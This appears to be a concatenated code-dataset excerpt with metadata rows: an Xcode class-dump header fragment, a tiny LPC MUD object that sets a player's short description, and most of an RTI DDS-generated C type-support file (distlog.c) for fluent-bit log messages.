(BOOL)outlineView:(id)arg1 shouldTrackCell:(id)arg2 forTableColumn:(id)arg3 item:(id)arg4; - (unsigned long long)outlineView:(id)arg1 validateDrop:(id)arg2 proposedItem:(id)arg3 proposedChildIndex:(long long)arg4; - (void)outlineView:(id)arg1 willDisplayCell:(id)arg2 forTableColumn:(id)arg3 item:(id)arg4; - (BOOL)outlineView:(id)arg1 writeItems:(id)arg2 toPasteboard:(id)arg3; - (void)outlineViewSelectionDidChange:(id)arg1; - (void)primitiveInvalidate; @property(retain) IDEScheme *runContext; // @synthesize runContext=_runContext; @property(retain) IDETestSchemeAction *runPhase; // @synthesize runPhase=_runPhase; @property(retain) IDEDebuggerSpecifier *selectedDebuggerSpecifier; - (void)setItem:(id)arg1 enabled:(BOOL)arg2 recursively:(BOOL)arg3; @property(retain) DVTTabChooserView *tabChooser; // @synthesize tabChooser=_tabChooser; @property(retain) IDEWorkspace *workspace; - (id)testableReferenceForTest:(id)arg1; - (void)testablesChanged:(id)arg1; - (void)testsChanged:(id)arg1; - (void)toggleTests:(id)arg1; - (void)updateBoundContent; - (void)updateBoundIDERunContextBinding; - (void)updateBoundIDEWorkspaceBinding; - (BOOL)validateMenuItem:(id)arg1; - (void)viewDidInstall; - (void)viewWillUninstall; - (void)workspaceReferencedTestablesChanged; // Remaining properties @property(readonly, copy) NSString *debugDescription; @property(readonly, copy) NSString *description; @property(readonly) unsigned long long hash; @property(readonly) Class superclass; @end
47.056911
429
0.805805
2ff0f1264ca409349156aa57d712d03cd1bbfebd
405
c
C
lib/wizards/nalle/devices/osmoosi.c
vlehtola/questmud
8bc3099b5ad00a9e0261faeb6637c76b521b6dbe
[ "MIT" ]
null
null
null
lib/wizards/nalle/devices/osmoosi.c
vlehtola/questmud
8bc3099b5ad00a9e0261faeb6637c76b521b6dbe
[ "MIT" ]
null
null
null
lib/wizards/nalle/devices/osmoosi.c
vlehtola/questmud
8bc3099b5ad00a9e0261faeb6637c76b521b6dbe
[ "MIT" ]
null
null
null
#include <ansi.h> reset(arg) { if(arg) return; } init() { add_action("shortti", "shortti"); } shortti(string str) { if(!str) return 1; write("Pok.\n"); find_player("ozmala")->set_wiz_short(str); return 1; } short() { return "jutska"; } id(str) { return str == "jutska"; } long() { write("pah\n"); } drop() { return 0; } get() { return 1; } query_weight() { return 1; }
9
42
0.558025
2ff1a1b2121b136b3240137a22e394223dfd5aa2
165,845
c
C
plugins/in_dl/distlog.c
kyoungho/fluent-bit
cb350bae8776738a8721e40607ba8ffec0b0b5b9
[ "Apache-2.0" ]
null
null
null
plugins/in_dl/distlog.c
kyoungho/fluent-bit
cb350bae8776738a8721e40607ba8ffec0b0b5b9
[ "Apache-2.0" ]
null
null
null
plugins/in_dl/distlog.c
kyoungho/fluent-bit
cb350bae8776738a8721e40607ba8ffec0b0b5b9
[ "Apache-2.0" ]
null
null
null
/* WARNING: THIS FILE IS AUTO-GENERATED. DO NOT MODIFY. This file was generated from distlog.idl using "rtiddsgen". The rtiddsgen tool is part of the RTI Connext distribution. For more information, type 'rtiddsgen -help' at a command shell or consult the RTI Connext manual. */ #ifndef NDDS_STANDALONE_TYPE #ifndef ndds_c_h #include "ndds/ndds_c.h" #endif #ifndef dds_c_log_infrastructure_h #include "dds_c/dds_c_infrastructure_impl.h" #endif #ifndef cdr_type_h #include "cdr/cdr_type.h" #endif #ifndef osapi_heap_h #include "osapi/osapi_heap.h" #endif #else #include "ndds_standalone_type.h" #endif #include "distlog.h" #ifndef NDDS_STANDALONE_TYPE #include "distlogPlugin.h" #endif /* ========================================================================= */ const char *RTI_DL_HostAndAppIdTYPENAME = "RTI::DL::HostAndAppId"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_HostAndAppId_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode_Member RTI_DL_HostAndAppId_g_tc_members[2]= { { (char *)"rtps_host_id",/* Member name */ { 0,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_KEY_MEMBER , /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"rtps_app_id",/* Member name */ { 1,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_KEY_MEMBER , /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_HostAndAppId_g_tc = {{ DDS_TK_STRUCT, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::HostAndAppId", /* Name */ NULL, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 2, /* Number of members */ RTI_DL_HostAndAppId_g_tc_members, /* Members */ DDS_VM_NONE, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_HostAndAppId*/ if (is_initialized) { return &RTI_DL_HostAndAppId_g_tc; } RTI_DL_HostAndAppId_g_tc._data._annotations._allowedDataRepresentationMask = 5; RTI_DL_HostAndAppId_g_tc_members[0]._representation._typeCode = (RTICdrTypeCode *)&DDS_g_tc_long; RTI_DL_HostAndAppId_g_tc_members[1]._representation._typeCode = (RTICdrTypeCode *)&DDS_g_tc_long; /* Initialize the values for member annotations. */ RTI_DL_HostAndAppId_g_tc_members[0]._annotations._defaultValue._d = RTI_XCDR_TK_LONG; RTI_DL_HostAndAppId_g_tc_members[0]._annotations._defaultValue._u.long_value = 0; RTI_DL_HostAndAppId_g_tc_members[0]._annotations._minValue._d = RTI_XCDR_TK_LONG; RTI_DL_HostAndAppId_g_tc_members[0]._annotations._minValue._u.long_value = RTIXCdrLong_MIN; RTI_DL_HostAndAppId_g_tc_members[0]._annotations._maxValue._d = RTI_XCDR_TK_LONG; RTI_DL_HostAndAppId_g_tc_members[0]._annotations._maxValue._u.long_value = RTIXCdrLong_MAX; RTI_DL_HostAndAppId_g_tc_members[1]._annotations._defaultValue._d = RTI_XCDR_TK_LONG; RTI_DL_HostAndAppId_g_tc_members[1]._annotations._defaultValue._u.long_value = 0; RTI_DL_HostAndAppId_g_tc_members[1]._annotations._minValue._d = RTI_XCDR_TK_LONG; RTI_DL_HostAndAppId_g_tc_members[1]._annotations._minValue._u.long_value = RTIXCdrLong_MIN; RTI_DL_HostAndAppId_g_tc_members[1]._annotations._maxValue._d = RTI_XCDR_TK_LONG; RTI_DL_HostAndAppId_g_tc_members[1]._annotations._maxValue._u.long_value = RTIXCdrLong_MAX; RTI_DL_HostAndAppId_g_tc._data._sampleAccessInfo = RTI_DL_HostAndAppId_get_sample_access_info(); RTI_DL_HostAndAppId_g_tc._data._typePlugin = RTI_DL_HostAndAppId_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_HostAndAppId_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_HostAndAppId_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_HostAndAppId_g_memberAccessInfos[2] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_HostAndAppId_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_HostAndAppId_g_sampleAccessInfo; } RTI_DL_HostAndAppId_g_memberAccessInfos[0].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_HostAndAppId *)NULL)->rtps_host_id); RTI_DL_HostAndAppId_g_memberAccessInfos[1].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_HostAndAppId *)NULL)->rtps_app_id); RTI_DL_HostAndAppId_g_sampleAccessInfo.memberAccessInfos = RTI_DL_HostAndAppId_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_HostAndAppId); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_HostAndAppId_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_HostAndAppId_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_HostAndAppId_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_HostAndAppId_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_HostAndAppId_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_HostAndAppId_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_HostAndAppId_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_HostAndAppId_finalize_w_return, NULL }; return &RTI_DL_HostAndAppId_g_typePlugin; } #endif RTIBool RTI_DL_HostAndAppId_initialize( RTI_DL_HostAndAppId* sample) { return RTI_DL_HostAndAppId_initialize_ex(sample,RTI_TRUE,RTI_TRUE); } RTIBool RTI_DL_HostAndAppId_initialize_ex( RTI_DL_HostAndAppId* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_HostAndAppId_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_HostAndAppId_initialize_w_params( RTI_DL_HostAndAppId* sample, const struct DDS_TypeAllocationParams_t * allocParams) { if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } sample->rtps_host_id = 0; sample->rtps_app_id = 0; return RTI_TRUE; } RTIBool RTI_DL_HostAndAppId_finalize_w_return( RTI_DL_HostAndAppId* sample) { RTI_DL_HostAndAppId_finalize_ex(sample, RTI_TRUE); return RTI_TRUE; } void RTI_DL_HostAndAppId_finalize( RTI_DL_HostAndAppId* sample) { RTI_DL_HostAndAppId_finalize_ex(sample,RTI_TRUE); } void RTI_DL_HostAndAppId_finalize_ex( RTI_DL_HostAndAppId* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_HostAndAppId_finalize_w_params( sample,&deallocParams); } void RTI_DL_HostAndAppId_finalize_w_params( RTI_DL_HostAndAppId* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } } void RTI_DL_HostAndAppId_finalize_optional_members( RTI_DL_HostAndAppId* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; } RTIBool RTI_DL_HostAndAppId_copy( RTI_DL_HostAndAppId* dst, const RTI_DL_HostAndAppId* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } if (!RTICdrType_copyLong ( &dst->rtps_host_id, &src->rtps_host_id)) { return RTI_FALSE; } if (!RTICdrType_copyLong ( &dst->rtps_app_id, &src->rtps_app_id)) { return RTI_FALSE; } return RTI_TRUE; } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_HostAndAppId' sequence class. */ #define T RTI_DL_HostAndAppId #define TSeq RTI_DL_HostAndAppIdSeq #define T_initialize_w_params RTI_DL_HostAndAppId_initialize_w_params #define T_finalize_w_params RTI_DL_HostAndAppId_finalize_w_params #define T_copy RTI_DL_HostAndAppId_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T /* ========================================================================= */ const char *RTI_DL_LogMessageTYPENAME = "RTI::DL::LogMessage"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_LogMessage_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode RTI_DL_LogMessage_g_tc_category_string = DDS_INITIALIZE_STRING_TYPECODE(((RTI_DL_MAX_CATEGORY_LENGTH))); static DDS_TypeCode RTI_DL_LogMessage_g_tc_message_string = DDS_INITIALIZE_STRING_TYPECODE(((RTI_DL_MAX_LOG_MESSAGE_LENGTH))); static DDS_TypeCode_Member RTI_DL_LogMessage_g_tc_members[5]= { { (char *)"hostAndAppId",/* Member name */ { 0,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_KEY_MEMBER , /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"level",/* Member name */ { 1,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_KEY_MEMBER , /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"category",/* Member name */ { 2,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"message",/* Member name */ { 3,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"messageId",/* Member name */ { 4,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_LogMessage_g_tc = {{ DDS_TK_STRUCT| DDS_TK_MUTABLE_EXTENSIBILITY, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::LogMessage", /* Name */ NULL, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 5, /* Number of members */ RTI_DL_LogMessage_g_tc_members, /* Members */ DDS_VM_NONE, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_LogMessage*/ if (is_initialized) { return &RTI_DL_LogMessage_g_tc; } RTI_DL_LogMessage_g_tc._data._annotations._allowedDataRepresentationMask = 5; RTI_DL_LogMessage_g_tc_members[0]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_HostAndAppId_get_typecode(); RTI_DL_LogMessage_g_tc_members[1]._representation._typeCode = (RTICdrTypeCode *)&DDS_g_tc_long; RTI_DL_LogMessage_g_tc_members[2]._representation._typeCode = (RTICdrTypeCode *)&RTI_DL_LogMessage_g_tc_category_string; RTI_DL_LogMessage_g_tc_members[3]._representation._typeCode = (RTICdrTypeCode *)&RTI_DL_LogMessage_g_tc_message_string; RTI_DL_LogMessage_g_tc_members[4]._representation._typeCode = (RTICdrTypeCode *)&DDS_g_tc_longlong; /* Initialize the values for member annotations. */ RTI_DL_LogMessage_g_tc_members[1]._annotations._defaultValue._d = RTI_XCDR_TK_LONG; RTI_DL_LogMessage_g_tc_members[1]._annotations._defaultValue._u.long_value = 0; RTI_DL_LogMessage_g_tc_members[1]._annotations._minValue._d = RTI_XCDR_TK_LONG; RTI_DL_LogMessage_g_tc_members[1]._annotations._minValue._u.long_value = RTIXCdrLong_MIN; RTI_DL_LogMessage_g_tc_members[1]._annotations._maxValue._d = RTI_XCDR_TK_LONG; RTI_DL_LogMessage_g_tc_members[1]._annotations._maxValue._u.long_value = RTIXCdrLong_MAX; RTI_DL_LogMessage_g_tc_members[2]._annotations._defaultValue._d = RTI_XCDR_TK_STRING; RTI_DL_LogMessage_g_tc_members[2]._annotations._defaultValue._u.string_value = (DDS_Char *) ""; RTI_DL_LogMessage_g_tc_members[3]._annotations._defaultValue._d = RTI_XCDR_TK_STRING; RTI_DL_LogMessage_g_tc_members[3]._annotations._defaultValue._u.string_value = (DDS_Char *) ""; RTI_DL_LogMessage_g_tc_members[4]._annotations._defaultValue._d = RTI_XCDR_TK_LONGLONG; RTI_DL_LogMessage_g_tc_members[4]._annotations._defaultValue._u.long_long_value = 0ll; RTI_DL_LogMessage_g_tc_members[4]._annotations._minValue._d = RTI_XCDR_TK_LONGLONG; RTI_DL_LogMessage_g_tc_members[4]._annotations._minValue._u.long_long_value = RTIXCdrLongLong_MIN; RTI_DL_LogMessage_g_tc_members[4]._annotations._maxValue._d = RTI_XCDR_TK_LONGLONG; RTI_DL_LogMessage_g_tc_members[4]._annotations._maxValue._u.long_long_value = RTIXCdrLongLong_MAX; RTI_DL_LogMessage_g_tc._data._sampleAccessInfo = RTI_DL_LogMessage_get_sample_access_info(); RTI_DL_LogMessage_g_tc._data._typePlugin = RTI_DL_LogMessage_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_LogMessage_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_LogMessage_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_LogMessage_g_memberAccessInfos[5] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_LogMessage_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_LogMessage_g_sampleAccessInfo; } RTI_DL_LogMessage_g_memberAccessInfos[0].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_LogMessage *)NULL)->hostAndAppId); RTI_DL_LogMessage_g_memberAccessInfos[1].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_LogMessage *)NULL)->level); RTI_DL_LogMessage_g_memberAccessInfos[2].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_LogMessage *)NULL)->category); RTI_DL_LogMessage_g_memberAccessInfos[3].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_LogMessage *)NULL)->message); RTI_DL_LogMessage_g_memberAccessInfos[4].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_LogMessage *)NULL)->messageId); RTI_DL_LogMessage_g_sampleAccessInfo.memberAccessInfos = RTI_DL_LogMessage_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_LogMessage); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_LogMessage_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_LogMessage_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_LogMessage_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_LogMessage_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_LogMessage_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_LogMessage_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_LogMessage_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_LogMessage_finalize_w_return, NULL }; return &RTI_DL_LogMessage_g_typePlugin; } #endif RTIBool RTI_DL_LogMessage_initialize( RTI_DL_LogMessage* sample) { return RTI_DL_LogMessage_initialize_ex(sample,RTI_TRUE,RTI_TRUE); } RTIBool RTI_DL_LogMessage_initialize_ex( RTI_DL_LogMessage* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_LogMessage_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_LogMessage_initialize_w_params( RTI_DL_LogMessage* sample, const struct DDS_TypeAllocationParams_t * allocParams) { if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } if (!RTI_DL_HostAndAppId_initialize_w_params(&sample->hostAndAppId, allocParams)) { return RTI_FALSE; } sample->level = 0; if (allocParams->allocate_memory) { sample->category = DDS_String_alloc(((RTI_DL_MAX_CATEGORY_LENGTH))); RTICdrType_copyStringEx( &sample->category, "", ((RTI_DL_MAX_CATEGORY_LENGTH)), RTI_FALSE); if (sample->category == NULL) { return RTI_FALSE; } } else { if (sample->category != NULL) { RTICdrType_copyStringEx( &sample->category, "", ((RTI_DL_MAX_CATEGORY_LENGTH)), RTI_FALSE); if (sample->category == NULL) { return RTI_FALSE; } } } if (allocParams->allocate_memory) { sample->message = DDS_String_alloc(((RTI_DL_MAX_LOG_MESSAGE_LENGTH))); RTICdrType_copyStringEx( &sample->message, "", ((RTI_DL_MAX_LOG_MESSAGE_LENGTH)), RTI_FALSE); if (sample->message == NULL) { return RTI_FALSE; } } else { if (sample->message != NULL) { RTICdrType_copyStringEx( &sample->message, "", ((RTI_DL_MAX_LOG_MESSAGE_LENGTH)), RTI_FALSE); if (sample->message == NULL) { return RTI_FALSE; } } } sample->messageId = 0ll; return RTI_TRUE; } RTIBool RTI_DL_LogMessage_finalize_w_return( RTI_DL_LogMessage* sample) { RTI_DL_LogMessage_finalize_ex(sample, RTI_TRUE); return RTI_TRUE; } void RTI_DL_LogMessage_finalize( RTI_DL_LogMessage* sample) { RTI_DL_LogMessage_finalize_ex(sample,RTI_TRUE); } void RTI_DL_LogMessage_finalize_ex( RTI_DL_LogMessage* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_LogMessage_finalize_w_params( sample,&deallocParams); } void RTI_DL_LogMessage_finalize_w_params( RTI_DL_LogMessage* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } RTI_DL_HostAndAppId_finalize_w_params(&sample->hostAndAppId,deallocParams); if (sample->category != NULL) { DDS_String_free(sample->category); sample->category=NULL; } if (sample->message != NULL) { DDS_String_free(sample->message); sample->message=NULL; } } void RTI_DL_LogMessage_finalize_optional_members( RTI_DL_LogMessage* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; RTI_DL_HostAndAppId_finalize_optional_members(&sample->hostAndAppId, deallocParams->delete_pointers); } RTIBool RTI_DL_LogMessage_copy( RTI_DL_LogMessage* dst, const RTI_DL_LogMessage* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } if (!RTI_DL_HostAndAppId_copy( &dst->hostAndAppId,(const RTI_DL_HostAndAppId*)&src->hostAndAppId)) { return RTI_FALSE; } if (!RTICdrType_copyLong ( &dst->level, &src->level)) { return RTI_FALSE; } if (!RTICdrType_copyStringEx ( &dst->category, src->category, ((RTI_DL_MAX_CATEGORY_LENGTH)) + 1, RTI_FALSE)){ return RTI_FALSE; } if (!RTICdrType_copyStringEx ( &dst->message, src->message, ((RTI_DL_MAX_LOG_MESSAGE_LENGTH)) + 1, RTI_FALSE)){ return RTI_FALSE; } if (!RTICdrType_copyLongLong ( &dst->messageId, &src->messageId)) { return RTI_FALSE; } return RTI_TRUE; } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_LogMessage' sequence class. */ #define T RTI_DL_LogMessage #define TSeq RTI_DL_LogMessageSeq #define T_initialize_w_params RTI_DL_LogMessage_initialize_w_params #define T_finalize_w_params RTI_DL_LogMessage_finalize_w_params #define T_copy RTI_DL_LogMessage_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T /* ========================================================================= */ const char *RTI_DL_ADMIN_RTILoggerVerbosityTYPENAME = "RTI::DL::ADMIN::RTILoggerVerbosity"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_ADMIN_RTILoggerVerbosity_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode_Member RTI_DL_ADMIN_RTILoggerVerbosity_g_tc_members[6]= { { (char *)"RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_SILENT",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_SILENT, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_ERROR",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_ERROR, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_WARNING",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_WARNING, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_STATUS_LOCAL",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later 